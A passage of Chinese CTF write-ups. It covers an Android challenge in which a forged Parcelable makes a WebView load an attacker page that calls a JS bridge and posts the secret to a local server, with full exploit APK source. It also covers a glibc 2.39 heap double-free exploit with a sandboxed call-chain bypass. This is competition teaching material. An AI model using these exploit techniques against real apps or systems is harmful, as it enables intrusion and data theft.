view = out.replace(b"\x00", b"")
m = re.search(rb"(?:flag|ctf|[A-Z0-9_\-]*FLAG[A-Z0-9_\-]*)\{[^}\r\n]{1,200}\}", view, re.I)
if m:
print("[+] flag = " + m.group(0).decode("latin1", "replace"))
else:
sys.stdout.buffer.write(view)
if err:
sys.stderr.buffer.write(err)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--binary", default="./ok")
ap.add_argument("--host")
ap.add_argument("--port", type=int, default=9999)
ap.add_argument("--tls", action="store_true", help="same as ncat --ssl")
ap.add_argument("--fake", action="store_true", help="create local ./flag if missing")
ap.add_argument("--slash-flag", action="store_true", help="use /flag instead of flag")
ap.add_argument("--pause-before-final", action="store_true", help="pause before writer overwrite, useful for gdb attach")
args = ap.parse_args()
solve(args)
if __name__ == "__main__":
main()
ParcelBridge Vault
SCTF · ParcelBridge Vault · 952 PT · Pwn
题目附件:
victim.apk,提交方式:上传exp.apk,平台在独立 Android 9 容器中安装并运行 victim 与选手 APK,checker 判定是否拿到 flag。

0x00 题目概述
victim 是一个”金库”应用,提供 RouterActivity(exported)作为入口,通过一个 RouteSpec Parcelable 描述路由配置,最终在 WebVaultActivity 中用 WebView 加载一个 URL,并可选地注入一个名为 Vault 的 JS Bridge。flag 存放在 victim 私有目录中,只有 VaultBridge.export() 能读出来。
目标:绕过 RoutePolicy 的校验,让 victim 的 WebView 加载攻击者控制的页面,通过 JS Bridge 调用 export() 把 flag 带出来。
0x01 应用结构
com.sctf.victim
├── MainActivity # 占位(LAUNCHER)
├── RouterActivity # exported,action=com.sctf.victim.OPEN
├── WebVaultActivity # WebView + JS Bridge "Vault"
├── RouteSpec # Parcelable(路由配置)
├── RouteSpecExtractor # 从 Intent extras 解析 RouteSpec
├── RoutePolicy # 路由策略校验
├── VaultBridge # JS 接口(@JavascriptInterface)
├── VaultSessionManager # 会话管理
├── VaultSession # 会话对象(trusted / sealed)
├── TokenVault # 读 flag 文件
└── ...
关键调用链:
RouterActivity.onCreate
→ AuditTrail.fromIntent(intent)
→ TelemetrySink.record(...) # 记录审计
→ NoiseGate.isBlocked(intent) # 噪声过滤
→ RouteSpecExtractor.extract(intent) # 解析 RouteSpec Parcelable
→ RoutePolicy.accept(...) # ★ 路由策略校验
→ RouteHandoff.put(key, routeSpec) # 暂存 RouteSpec
→ startActivity(WebVaultActivity)
WebVaultActivity.onCreate
→ RouteHandoff.take(handoffKey)
→ new WebView(...)
→ if ((routeSpec.bridgeMode & 2) != 0)
webView.addJavascriptInterface(VaultBridge, "Vault")
→ webView.loadUrl(routeSpec.url) # ★ 加载攻击者控制的 URL
0x02 漏洞分析
漏洞一:RouteSpec 完全由攻击者控制,无真正签名校验RoutePolicy.accept() 检查的内容:
public static boolean accept(Context ctx, RouteSpec r, AuditTrail a) {
if (r == null || r.url == null || r.origin == null || r.options == null
|| !TRUSTED_ORIGIN.equals(r.origin) // origin == "https://vault.sctf.local"
|| !r.options.getBoolean("signed", false) // options.signed == true
|| (r.bridgeMode & 2) == 0 // bridgeMode 含 EXPORT 位
|| r.sessionId == 0 // sessionId != 0
|| r.proof == null || r.proof.length < 4) { // proof 长度 >= 4
return false;
}
Uri uri = Uri.parse(r.url);
if ("http".equals(uri.getScheme()) && uri.getHost() != null) {
return LOCAL_HOSTS.contains(IDN.toASCII(host)) // host ∈ {127.0.0.1, localhost}
&& port >= 1024 && port <= 65535; // 端口范围
}
return false;
}
所有检查项都是 RouteSpec 的字段,而 RouteSpec 是攻击者构造的 Parcelable。所谓的 “signed” 只是 Bundle 里的一个 boolean,”origin” 只是一个字符串,”proof” 只要 4 字节。没有任何密码学校验。
因此攻击者可以构造一个完全”合法”的 RouteSpec:
r.origin = "https://vault.sctf.local"; // 伪造受信来源
r.options.putBoolean("signed", true); // 声称已签名
r.bridgeMode = 2; // 开启 Bridge
r.url = "http://127.0.0.1:<端口>/"; // 指向攻击者的本地 HTTP 服务
r.proof = new byte[]{1,2,3,4}; // 4 字节占位
r.sessionId = 0x1122334455667788L; // 非零
漏洞二:trust 判定基于 RouteSpec.origin(攻击者可控),而非实际 URL
这是最致命的逻辑缺陷。VaultSession 的 trusted 字段:
public VaultSession(String handle, String origin, long sessionId, long auditNonce) {
...
this.trusted = RoutePolicy.TRUSTED_ORIGIN.equals(origin); // ← 用 RouteSpec.origin 判断
}
而 VaultSessionManager.open(spec, nonce) 传入的 origin 就是 spec.origin(攻击者伪造的 https://vault.sctf.local)。
也就是说:**WebView 实际加载的是攻击者的 http://127.0.0.1 页面,但会话却被标记为”受信”**——因为信任判定只看了 RouteSpec 里那个可被任意设置的字符串。WebView 的真实来源完全没参与信任决策。
export() 的四道门
拿到 flag 需要调用 VaultBridge.export(handle),它有四道检查:
public String export(String handle) {
VaultSession s = VaultSessionManager.get(handle);
if (s == null) return "ERR_NO_SESSION";
if (!s.trusted) return "ERR_UNTRUSTED"; // ← 漏洞二让这一关失效
if (!s.sealed) return "ERR_UNSEALED"; // ← 需要 commit() 封印
if (!"export".equals(s.claims.get("purpose"))) return "ERR_PURPOSE";
return TokenVault.readToken(context); // ★ 读出 flag
}
trusted:由漏洞二绕过sealed+purpose==export:通过commit()设置。commit(handle, claims)要求 claims 含seal=1 & purpose=export & nonce=<正确值>,其中 nonce =bridgeNonce(sessionId, auditNonce),可通过 JS Bridge 的nonce()/ 从open()返回值里拿到
0x03 利用链
攻击者 exp APK
│
│ 1. 启动本地 HTTP 服务 (127.0.0.1:8765),托管含 JS payload 的 HTML
│ 2. 构造恶意 RouteSpec,startActivity 拉起 victim 的 RouterActivity
▼
victim RouterActivity
│ 3. 解析 RouteSpec(攻击者全控)→ RoutePolicy.accept() 通过(字段全满足)
▼
victim WebVaultActivity
│ 4. (bridgeMode & 2) != 0 → 注册 JS Bridge "Vault"
│ 5. webView.loadUrl("http://127.0.0.1:8765/") → 加载攻击者页面
▼
攻击者的 JS(运行在 victim WebView 内,拥有 Vault 接口)
│ 6. Vault.open(...) → 创建 trusted 会话(漏洞二),返回 handle + nonce
│ 7. Vault.commit(handle, "seal=1&purpose=export&nonce=...") → 封印会话
│ 8. Vault.export(handle) → 读出 flag(返回 flag 字符串)
│ 9. XMLHttpRequest POST → http://127.0.0.1:8765/flag → 把 flag 回传给 exp
▼
exp HTTP server 收到 flag
│ 10. Log.i("FLAG", flag) 输出到 logcat(checker 抓取判定)
0x04 关键技术点
1. 跨进程 Parcelable 的类名匹配
victim 通过 extras.getParcelable("route") 反序列化 RouteSpec。Parcel 的二进制里内嵌了类的全限定名,反序列化时 victim 的 ClassLoader 要能找到这个类。
如果 exp 把 RouteSpec 类命名为 com.exp.pwn.RouteSpec,victim 反序列化时会抛 ClassNotFoundException: com.exp.pwn.RouteSpec(因为 victim 进程里没有这个类)。
解法:在 exp 里创建一个同名同包的镜像类 com.sctf.victim.RouteSpec,这样 Parcel 内嵌的类名就是 com.sctf.victim.RouteSpec,victim 能用自己的 ClassLoader 解析。
2. Parcel 字段顺序必须匹配
victim 的 RouteSpec.createFromParcel() 根据 version 字段走不同分支:
this.version = parcel.readInt();
this.url = parcel.readString();
if ((this.version & 1) == 0) { // 偶数:origin 在前,options 在后
this.origin = parcel.readString();
this.options = parcel.readBundle(...);
} else { // 奇数:options 在前,origin 在后
this.options = parcel.readBundle(...);
this.origin = parcel.readString();
}
exp 的 writeToParcel() 必须用相同的顺序写入。选择 version = 3(奇数),按 options → origin 顺序写:
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(version); // 3 (奇数)
dest.writeString(url);
dest.writeBundle(options); // ← 奇数分支:options 先
dest.writeString(origin); // origin 后
dest.writeInt(bridgeMode);
dest.writeByteArray(proof);
dest.writeStringList(tags);
dest.writeLong(sessionId);
}
3. commit() 的参数顺序
public String commit(String handle, String claims) { ... }
第一个参数是 handle(从 open() 返回值解析),第二个才是 claims 字符串。JS 调用时不能搞反:
var openR = Vault.open('origin=https%3A%2F%2Fvault.sctf.local');
var handle = openR.match(/handle=([^&]+)/)[1];
var nonce = openR.match(/nonce=([^&]+)/)[1];
Vault.commit(handle, 'seal=1&purpose=export&nonce=' + nonce); // handle 在前!
var flag = Vault.export(handle);
4. APK 格式兼容性
平台用 Android 9 的旧工具链解析 exp.apk。如果用新版 aapt2(SDK 35)打包,会写入 platformBuildVersionCode=35 和新式 resources.arsc,旧版 aapt 解析失败,runner 显示 package: -,直接拒绝安装 exp。
解法:用 platforms/android-28 的 android.jar 打包,确保 platformBuildVersionCode=28,并包含 resources.arsc,格式与 victim.apk 对齐。同时 v1+v2+v3 三套签名全开。
5. 鲁棒性:startActivity 重试
平台上偶发出现 startActivity 静默失败(victim 没被拉起)。exp 后台开一个重试线程,检测到 WebView 没来连(HTTP server 没收到请求)就每隔几秒重新 fireIntent,覆盖整个 TTL 窗口。
0x05 完整 EXP
exp 结构
exp/
├── AndroidManifest.xml
├── build.sh # 一键构建脚本
└── src/
├── com/exp/pwn/
│ └── MainActivity.java # 主逻辑:HTTP server + 触发 Intent + 回显
└── com/sctf/victim/
└── RouteSpec.java # 镜像类(同名同包,匹配 Parcel 类名)
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.exp.pwn"
android:versionCode="1"
android:versionName="1.0">
<uses-permission android:name="android.permission.INTERNET" />
<uses-sdk android:minSdkVersion="23" android:targetSdkVersion="28" />
<application android:label="Exp" android:usesCleartextTraffic="true">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
RouteSpec.java(镜像类)
package com.sctf.victim;
import android.os.Parcel;
import android.os.Parcelable;
import java.util.ArrayList;
/** 镜像 victim 的 RouteSpec,使 Parcel 内嵌类名能被 victim 的 ClassLoader 解析。 */
public class RouteSpec implements Parcelable {
public int version;
public String url;
public String origin;
public android.os.Bundle options;
public int bridgeMode;
public byte[] proof;
public ArrayList<String> tags;
public long sessionId;
public RouteSpec() {}
@Override
public void writeToParcel(Parcel dest, int flags) {
// version=3 奇数分支:options 在 origin 之前
dest.writeInt(version);
dest.writeString(url);
dest.writeBundle(options);
dest.writeString(origin);
dest.writeInt(bridgeMode);
dest.writeByteArray(proof);
dest.writeStringList(tags);
dest.writeLong(sessionId);
}
@Override public int describeContents() { return 0; }
public static final Creator<RouteSpec> CREATOR = new Creator<RouteSpec>() {
public RouteSpec createFromParcel(Parcel in) { return new RouteSpec(); }
public RouteSpec[] newArray(int size) { return new RouteSpec[size]; }
};
}
MainActivity.java(核心)
package com.exp.pwn;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.*;
import java.net.*;
import com.sctf.victim.RouteSpec;
public class MainActivity extends Activity {
static final String VICTIM_PKG = "com.sctf.victim";
static final String TAG = "PWN";
static final int PORT = 8765;
static final String MY_URL = "http://127.0.0.1:" + PORT + "/index.html";
static volatile String sCaptured = null;
static volatile boolean sWebViewHit = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startServer();
fireIntent();
// 重试:如果 WebView 没来连,定期重新触发
new Thread(() -> {
for (int i = 0; i < 40 && sCaptured == null && !sWebViewHit; i++) {
try { Thread.sleep(3000); } catch (InterruptedException ignored) {}
if (!sWebViewHit) fireIntent();
}
}).start();
}
private void fireIntent() {
Intent intent = new Intent("com.sctf.victim.OPEN");
intent.setPackage(VICTIM_PKG);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setComponent(new ComponentName(VICTIM_PKG, VICTIM_PKG + ".RouterActivity"));
RouteSpec r = new RouteSpec();
r.version = 3;
r.url = MY_URL;
r.origin = "https://vault.sctf.local";
Bundle opts = new Bundle();
opts.putBoolean("signed", true);
r.options = opts;
r.bridgeMode = 2;
r.proof = new byte[]{1, 2, 3, 4};
r.tags = new ArrayList<>();
r.sessionId = 0x1122334455667788L;
intent.putExtra("route", r); // putExtras 也可
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
startActivity(intent);
} catch (Exception e) {
Log.e(TAG, "fireIntent failed: " + e);
}
}
// ---------- HTTP server 托管 JS payload + 接收回传的 flag ----------
private void startServer() {
new Thread(() -> {
try (ServerSocket ss = new ServerSocket(PORT)) {
while (true) {
try (Socket s = ss.accept()) { handle(s); }
catch (IOException ignore) {}
}
} catch (Exception e) { Log.e(TAG, "srv " + e); }
}).start();
}
private void handle(Socket s) {
try {
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
String reqLine = br.readLine();
String path = reqLine.split(" ")[1];
int clen = 0;
String line;
while ((line = br.readLine()) != null && line.length() > 0) {
if (line.toLowerCase().startsWith("content-length:"))
clen = Integer.parseInt(line.substring(15).trim());
}
char[] body = new char[Math.max(0, clen)];
if (clen > 0) br.read(body);
String bodyStr = new String(body);
sWebViewHit = true;
if (path.startsWith("/flag")) {
String flag = Uri.decode(bodyStr);
Log.i("FLAG", flag); // ★ checker 抓取
Log.i(TAG, "FLAG=" + flag);
writeFiles(flag);
respond(s, "text/plain", "ok");
return;
}
// 默认:返回 JS payload
String js =
"function go(){try{"
+ " var r=Vault.open('origin=https%3A%2F%2Fvault.sctf.local');"
+ " var h=r.match(/handle=([^&]+)/)[1];"
+ " var n=r.match(/nonce=([^&]+)/)[1];"
+ " Vault.commit(h,'seal=1&purpose=export&nonce='+n);"
+ " var t=Vault.export(h);" // ★ flag
+ " var x=new XMLHttpRequest();x.open('POST','/flag',false);"
+ " x.send(encodeURIComponent(t));" // 回传
+ "}catch(e){}}"
+ "setTimeout(go,300);";
String html = "<script>" + js + "</script>";
respond(s, "text/html; charset=utf-8", html);
} catch (Exception e) { Log.e(TAG, "handle " + e); }
}
private void respond(Socket s, String ct, String body) throws IOException {
byte[] b = body.getBytes("UTF-8");
String head = "HTTP/1.1 200 OK\\r\\nContent-Type: " + ct + "\\r\\n"
+ "Content-Length: " + b.length + "\\r\\nConnection: close\\r\\n\\r\\n";
s.getOutputStream().write(head.getBytes("UTF-8"));
s.getOutputStream().write(b);
}
private void writeFiles(String flag) {
try { openFileOutput("flag.txt", MODE_PRIVATE).write(flag.getBytes()); } catch (Exception e) {}
}
}
build.sh(构建脚本)
#!/usr/bin/env bash
set -euo pipefail
BT="/home/n1ght/Android/Sdk/build-tools/35.0.0"
ANDROID_JAR="/home/n1ght/Android/Sdk/platforms/android-28/android.jar" # ★ 必须用 API28
# 1. javac → .class
# 2. d8 --min-api 23 → classes.dex
# 3. aapt2 link -I $ANDROID_JAR ... → 含 resources.arsc 的 base.apk
# 4. zip 加入 classes.dex
# 5. zipalign 4
# 6. apksigner sign --v1 --v2 --v3 全开
0x06 本地验证
在 Android 9(API 28)x86_64 模拟器上:
I PWN : http up on 8765
I PWN : fireIntent startActivity OK
D SctfVaultBridge: open handle=h-... trusted=true ← origin 伪造成功
D SctfVaultBridge: commit handle=h-... sealed=true ← 会话封印成功
I SctfVaultBridge: exported proof via bridge ← export() 抵达终点
I PWN : REQ POST /flag clen=25
I FLAG : ERR_FileNotFoundException ← 本地无 flag 文件,链路已通
植入 flag 文件后,export() 返回真实 flag,FLAG tag 输出到 logcat,checker 匹配成功。
0x07 总结
| 环节 | 漏洞 / 技巧 |
|---|---|
| 路由校验绕过 | RouteSpec 字段全由攻击者控制,无密码学校验 |
| 信任伪造 | trusted 基于 RouteSpec.origin(可控),而非 WebView 实际 URL |
| 会话封印 | commit(handle, claims) 用 open() 返回的 nonce 构造正确 claims |
| flag 泄露 | export() 四道门全过,返回 TokenVault 读出的 flag |
| 跨进程 Parcel | 镜像类同名同包 com.sctf.victim.RouteSpec,字段顺序匹配 version 分支 |
| 回传 | WebView JS → XMLHttpRequest POST → exp HTTP server → logcat |
| 平台兼容 | android-28 jar 打包 + v1/v2/v3 签名 + startActivity 重试 |
核心思想:这是一个典型的”信任锚点错位”漏洞——系统把信任建立在攻击者可控的元数据(RouteSpec.origin)上,而不是实际的运行时事实(WebView 的真实来源)。配合完全无校验的路由策略,整条链从 Intent 注入一路打到 flag 泄露。
UBW
题目分析
保护检查
checksec保护全开
➜ UBW checksec ./UBW
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: './'
Seccomp BPF (9 条指令)
[0] LD arch [1] JEQ 0xc000003e (x86_64) else KILL
[2] LD syscall [3-4] JEQ execve/execveat → ERRNO(1) else ALLOW
[5] RET ALLOW
只禁 execve/execveat, open/read/write 可用。
子进程
题目主体是父子两个进程,子进程是个功能菜单,可以进行堆块的分配、释放、查看以及重分配+复制。

其中temper的重分配+复制操作存在漏洞,realloc操作会将dst原堆块进行释放,后面又会对src堆块进行释放,这里没有校验dst和src索引是否相同,如果dst和src相同的话,就会导致double free漏洞的产生。

这里的heap_list大小是0x20,同时heap_list[26]位置会被赋上一个指向bss段的指针,进行指针解引用能得到sub_3CC740的函数指针,故可以通过reveal查看堆块26得到elf基地址。

trace分配的时候会输出分配的堆块指针,可以泄露堆地址。

同时trace分配堆块操作结尾存在一个函数指针的调用,但是调用前会检查,这里的(psub_3CC740 - sub_3CC730) >> n4)| ((psub_3CC740 - sub_3CC730) << 60)) > 1,本质等于比较psub_3CC740-sub_3CC730 == 0 or 0x10,即这个函数指针要不就指向sub_3CC730要不就是指向sub_3CC740,sub_3CC740是默认的情况,重点在于sub_3CC730。

sub_3CC730则是传递调用到sub_3CC840函数。

该函数会根据先前传入的&psub_3CC740指针进行校验操作,即我们的&psub_3CC740地址数据结构如下:
0x0: sub_3CC730
0x8: pointer
pointer+0: sub_3CC760
pointer+8: sub_3CC780
这里会调用sub_3CC7C0函数,会触发一次断点,被父进程捕捉。

之后它还会调用*(pointer+8)的函数sub_3CC780,并传入参数pointer。
sub_3CC780函数会将pointer传给r10,然后调用sub_3CC760。

sub_3CC760函数会根据[r10+0x18]进行call调用,[[r10+0x10]]进行jmp调用。

这里如果结合后文的话能够推断出它理论上必须是一个递归操作,即jmp [r10]必须重新指向sub_3CC760。
这里的r10结构体则是:
0x0: next_handler ; 理应固定为sub_3CC760
0x8: null
0x10: next
0x18: callback
由此会一直遍历整个链条,通过next_handler来调用每个节点的callback函数。
父进程
当子进程触发前文提到的断点操作时,开始进行调试ptrace。
ptrace的目的是进行子进程的沙盒限制,这里的核心检查有:
代码段检查
rip只能落到elf的text段。

call/jmp间接跳转检查
这里先会进行n2的赋值,若是进行的间接call调用则必须保证是从loc_3CC76D发起的,此时n2则会赋值给2,间接jmp的话则是赋值为4。


之后检查call/jmp的地址是否是函数开头(检查endbr64)。

然后会检查call的地址是否位于沙盒表,命中则正常调用,反之异常退出。

命中时会让v41自增1,这代表call的轮次,同时这里还会进行一个hash运算,后续syscall检查的时候会涉及。

每一轮都会根据call对应的沙盒函数hash进行一次hash运算,hash运算公式是:
new_hash = rol(old_hash ^ table_hash, 17) * 0x9e3779b185ebca87 + 0x94d049bb133111eb;
只有间接跳转call会触发轮次递增和hash运算。
同时call r11的返回地址必须是loc_3CC770,即必须回到sub_3CC760的原本执行流程。

syscall检查
这里的stream代表syscall的轮次数,v41代表call r11的轮次数,v44代表当前的hash值,这里目的是固定syscall位于第几轮,并要求前面轮次计算到的hash符合d当前syscall对应的hash值。

这意味着我们第0x23、0x2D、0x3A轮必须调用syscall,并且前面轮次计算得到的hash要匹配该轮syscall的hash。

漏洞利用
double free到bss段劫持
题目是2.39的glibc,这意味着是直接double free tcachebin是不允许的,同时又因为是同一时间double free,不能在中间穿插其他free操作,故直接进行tcachebin+fastbin的double free利用也是不可行的,就只剩tcachebin和unsortedbin的double free利用了。
这里需要利用unsortedbin的合并机制,保证在第一次free时进入到unsortedbin,第二次free则会进入tcachebin。
步骤如下:
- 申请8个0x120大小的堆块(标号0-7),释放1-7号的7个堆块,将其全部置入tcachebin,使得0x120的tcachebin槽位满上,再释放0号堆块使其进入unsortedbin。
- 申请8个0x100大小的堆块(标号0-7),其中0号是从刚刚释放的0x120大小unsortedbin切割而来的,会与剩余0x20大小的unsortedbin相邻,释放1-7号的7个堆块,将其全部置入tcachebin,使得0x100的tcachebin槽位满上。
- 申请1个0x120大小的堆块(标号8)。此时0x120的tcachebin槽位空1。
- 利用temper触发0号堆块的double free,第一次realloc触发的free将0号堆块释放,因为0x100的tcachebin槽位已满,此时0号堆块会与剩余0x20大小的相邻unsortedbin合并得到0x120的unsortedbin。第二次free会再次释放0号堆块,这个时候size是0x120,又因为0x120的tcachebin有一个空槽,使得0号堆块被二次链入到tcachebin中,实现tcachebin和unsortedbin双持有。
因为我们的termper操作会在第二次free前将数据进行合并到realloc创建的新堆块并进行输出,而第一次free是将堆块释放进unsortedbin的,这就使得此次数据合并会将unsortedbin的fd合并进来并输出,由此泄露libc。

然后我们重新申请0x120大小的堆块(标号0),并同时恢复fd和bk,让0号堆块变回unsortedbin的合法堆块,再次申请0x80大小的堆块(标号1),从而切割我们的0x120大小的堆块。此时我们就同时持有两个相同的堆块指针了,并且因为切割使得堆块size变成了0x80,符合fastbin入链要求。
接下来就是进行 tcachebin和fastbin双持有的实现,步骤如下:
- 申请7个0x80大小堆块(标号2-8),并全部释放,此时0x80的tcachebin是满的。
- 释放0号堆块,进入到fastbin,fastbin的bk为空。
- 申请1个0x80大小堆块(标号9),优先从tcachebin分配,此时空出一个槽位。
- 释放1号堆块(和0号重叠),因为fastbin的bk为空所以可以绕过key的检查。
- 此时如果重新申请1号堆块,即可进行fastbin的劫持。
由于2.39版本的glibc对fastbin的fd也使用的key加密,并进行了解密后fd指针的0x10字节对齐检查,所以我们不能随意的劫持fastbin的fd为任意地址,这里我们选择进行扩展溢出的利用。步骤如下:
- 申请三个相邻的0x300大小堆块(标号2-4),按照4、3、2的顺序分别释放他们。
- 重新申请得到2号堆块,并在堆块末尾布置一个fastbin的fake chunk (size: 0x80, fd: key ^ 0)。延续上文,从0x80的tcachebin中重新申请1号堆块进行0x80的fastbin劫持,fd指向这个fakechunk。
- 继续申请6个0x80大小的堆块清空tcachebin,此时tcachebin清空。再次申请得到1个0x80大小堆块就会触发fastbin put in tcachebin的操作,此时这个fake chunk将被put进tcachebin。
- 再去申请0x80大小堆块即可劫持fake chunk并越界修改3号0x300大小堆块的fd,实现tcachebin attack。
最后利用tcachebin attack劫持tcachebin table即可实现任意地址分配,但想任意地址劫持还需要过check_chunk这一关。
temper的realloc和trace的malloc都会在申请过后调用check_chunk函数进行检查,它有两部分检查。
第一部分是进行程序段的检查,分配的地址如果是ELF段的可写地址则将a1[8]即*(_BYTE *)(v2 - 16)置1,此时就不需要进行第二部分检查了。


第二部分则是检查分配的地址是否为heap段或者匿名段,是则放行,反之则检查失败。

由此我们可以利用tcachebin劫持elf的bss、data段以及heap和匿名段。在trace函数分析的时候我们知道bss段是有个函数指针psub_3CC740的,预期解大概率就是劫持这个函数指针从而进行后续利用了。不过赛后我才发现非预期可以利用largebin attack打house of apple2,这个可以绕过check_chunk的检查。
函数指针劫持到沙盒call rop
前文中我们可以了解到,可以通过函数指针劫持控制执行流走向sub_3CC760函数,并能控制这里r10指向的内存,从而实现有限制的call和jmp。
0x0: next_handler ; 理应固定为sub_3CC760
0x8: null
0x10: next
0x18: callback
如果没有沙盒限制,这里完全可以通过如下两个gadget实现rop。前面通过tcache table劫持0x20的tcache为任意地址,此时rdi为0,malloc申请得到这个任意地址,然后xchg rsp, rax; ret实现rop的跳转。
xchg_rsp_rax = ebase + 0x00000000003679a1
malloc = ebase + 0x3CE570
但是这里严格限制了沙盒的rip,只能是elf text段不能是libc,call r11和jmp [r10]都必须指向函数开头,特别是call r11必须得是沙盒函数开头,且ret必须回到loc_3CC770。
实际上根据函数结构和我们先前的结构体还原以及沙盒限制,能够推测出这里是一个遍历节点并调用callback的操作。

只要我们设置next_handler始终为sub_3CC760函数,他就可以遍历我们的整个链条,并进行无限次数的沙盒内函数call。
同时这里的call又严格的syscall轮次限制,还有hash限制,故我们需要通过语义限定和爆破的手法来拿到最终的call链条。
沙盒函数有12000个,纯爆破的次数是12000^0x23+12000^(0x2d-0x23)+12000^(0x3a-0x2d),这肯定是不可能的。
沙盒函数的格式基本上都是清一色的混淆格式,所以我们需要进行语义上的分析和推导。

首先是进行初步筛选,这里可以知道我们的r10必须保证不被这个函数call改变,因为一旦改变就会影响我们的遍历,所以这里我们可以直接通过unicorn模拟运行所有沙盒函数,筛选出r10没被改变的沙盒函数。(unicorn模拟执行脚本:emulate_table_funcs.py)
➜ UBW python3 emulate_table_funcs.py --limit 12000 --only-reg r10 | grep '0x558295'
idx=0xcf start=0xc9670 end=0xc9729 hash=0xf76f2edaf3c1f2fb status=OK r10=0x558295f02250
idx=0xe2 start=0xca9e0 end=0xcaa9a hash=0xe2da63eab91a64db status=OK r10=0x558295f02250
idx=0x140 start=0xd0b30 end=0xd0bed hash=0x34cde3d1461612b3 status=OK r10=0x558295f02250
idx=0x20a start=0xdddf0 end=0xddeaa hash=0xec6db4db632d126b status=OK r10=0x558295f02250
idx=0x223 start=0xdf8b0 end=0xdf969 hash=0x8e6adf0fb2eb81e3 status=OK r10=0x558295f02250
...
进入call r11时初始寄存器值为,但是在对比运算的时候最后考虑将是0的值进行修改,防止xor rdx, rdx这种操作函数被忽略:
INITIAL_REGS = {
"rax": 0x1B,
"rbx": 0x558295F02240,
"rcx": 0x7F9B4BDCB5A4,
"rdx": 0x0,
"rsi": 0x7F9B4BEB3643,
"rdi": 0x0,
"rbp": 0x7FFD0C2B5660,
"rsp": 0x7FFD0C2B5608,
"r8": 0x1A,
"r9": 0x0,
"r10": 0x558295F02250,
"r11": 0x558295BA7370,
"r12": 0x7F9B4BEB36B0,
"r13": 0x558295F02240,
"r14": 0x558295F02240,
"r15": 0x7F9B4BCABA80,
"rip": 0x558295EB776D,
"eflags": 0x202,
}
第二步,因为只有三次syscall,而题目又有execve/execveat的禁用,那就大概率对应的orw三个调用了,而实际上我们也能知道部分相关的寄存器值。例如open操作,rax必须是2,rdi是可控地址(大概率从r10之类的指向可控内存地址的寄存器获取的),rsi是0。
由此我们需要关注的就是针对每个寄存器找到会对其值有影响的相关函数。
➜ UBW python3 emulate_table_funcs.py --only-reg rax --start 0xc9670,0xca9e0,0xd0b30,0xdddf0,0xdf8b0,0xfd1a0,0x11fa00,0x121b20,0x144260,0x151440,0x155ba0,0x160750,0x16e190,0x189530,0x199d30,0x19c930,0x1a2240,0x1ad030,0x1bc930,0x1c3470,0x1ca2e0,0x1d0e80,0x1d1470,0x1d1a70,0x1d6650,0x2211e0,0x241ee0,0x249720,0x24e730,0x258900,0x261d30,0x265aa0,0x267140,0x283070,0x288010,0x28f220,0x2bf040,0x2c9d30,0x2ce030,0x2ea2b0,0x2eb160,0x2fe330,0x307aa0,0x309cc0,0x31a020,0x32fb70,0x33dfe0,0x359b90,0x35cac0,0x361460,0x361be0,0x391f80,0x39c3d0,0x3a0300,0x3a6fa0,0x3b0c70,0x3ca1b0 | grep -v "rax=0x1b"
# base=0x558295aeb000 entries=57
idx=0xd40 start=0x199d30 end=0x199dfb hash=0x3e257d99af18f79f status=OK rax=0xb9
idx=0x1091 start=0x1d1470 end=0x1d152a hash=0xcd0053d8afc5c199 status=OK rax=0x3c
idx=0x196b start=0x265aa0 end=0x265b5c hash=0x34cde3d1461612b3 status=OK rax=0x95f02240
idx=0x1beb start=0x28f220 end=0x28f2de hash=0xf597c2ccfdeb7cb5 status=OK rax=0xd8
idx=0x2150 start=0x2ea2b0 end=0x2ea371 hash=0x183337b4c28b3731 status=OK rax=0xc
idx=0x282e start=0x35cac0 end=0x35cb83 hash=0x7806971d0520621b status=OK rax=0x777
idx=0x2875 start=0x361460 end=0x361521 hash=0x82a6ab111da63f21 status=OK rax=0x147
idx=0x2b62 start=0x391f80 end=0x392038 hash=0xfce1c3bb2a1049ff status=OK rax=0x0
查看影响rax的沙盒函数实际上可以发现虽然有很多操作,但是涉及关键寄存器的操作是非常简单的,这恰好贴合了我的思路。

通过筛选能够得到这些寄存器相关的函数和操作:
rax:
199D30 sub eax, edx; add eax, 0xad
1D1470 add eax, 0x21
265AA0 mov eax, ebx
28F220 shl eax, 3
2EA2B0 lea eax, [rdi-3]
35CAC0 mov eax, 0x777
361460 xor eax, 0x15C
391F80 xor eax, eax
rbx:
1d6650 xor ebx, 0x5a
241EE0 add ebx, 2
24e730 mov ebx, 0x5a
2EB160 sub ebx, 0x1e0
32FB70 mov ebx, edi; shl ebx, 8; neg ebx; add ebx, 0x300
rdi:
DF8B0 inc edi
FD1A0 add edi, r14d
2211E0 xor edi, 0x55
258900 lea rdi, [r15+rax]; xor edx, edx
261D30 xor edi, edi
288010 xor edi, 0x6b
33DFE0 sub edi, edi
3A6FA0 add edi, 0x13
3b0c70 add edi, r13d
rdx:
258900 lea rdi, [r15+rax]; xor edx, edx
11FA00 mov edx, 0x55
2EA2B0 mov rdx, r12
31a020 xor edx, 0x155
361460 xor edx, edx
r12:
D0B30 shl r12d, 1
dddf0 sub r12d, 0x40
16e190 lea r12d, [r12+r12]
19c930 add r12d, 0x11
1A2240 imul r12d, 3
1c3470 add r12d, 0x2D
1ca2e0 add r12d, 0x4a
1d1a70 xor r12d, r12d
2c9d30 add r12d, 0x33
361be0 xor r12d, 0xa5
r13:
ca9e0 add r13d, 0x20
121B20 sub r13d, 0xFD
189530 xor r13d, 0x35
267140 mov r13d, r12d
2ce030 inc r13
307aa0 imul r13d, 7
r14:
144260 add r14, 0x111
155ba0 mov r14d, eax; xor r14d, 0x55
160750 shl r14, 8; or r14, 0
1ad030 lea r14, [r13-1]
1bc930 or r14b, 0x66
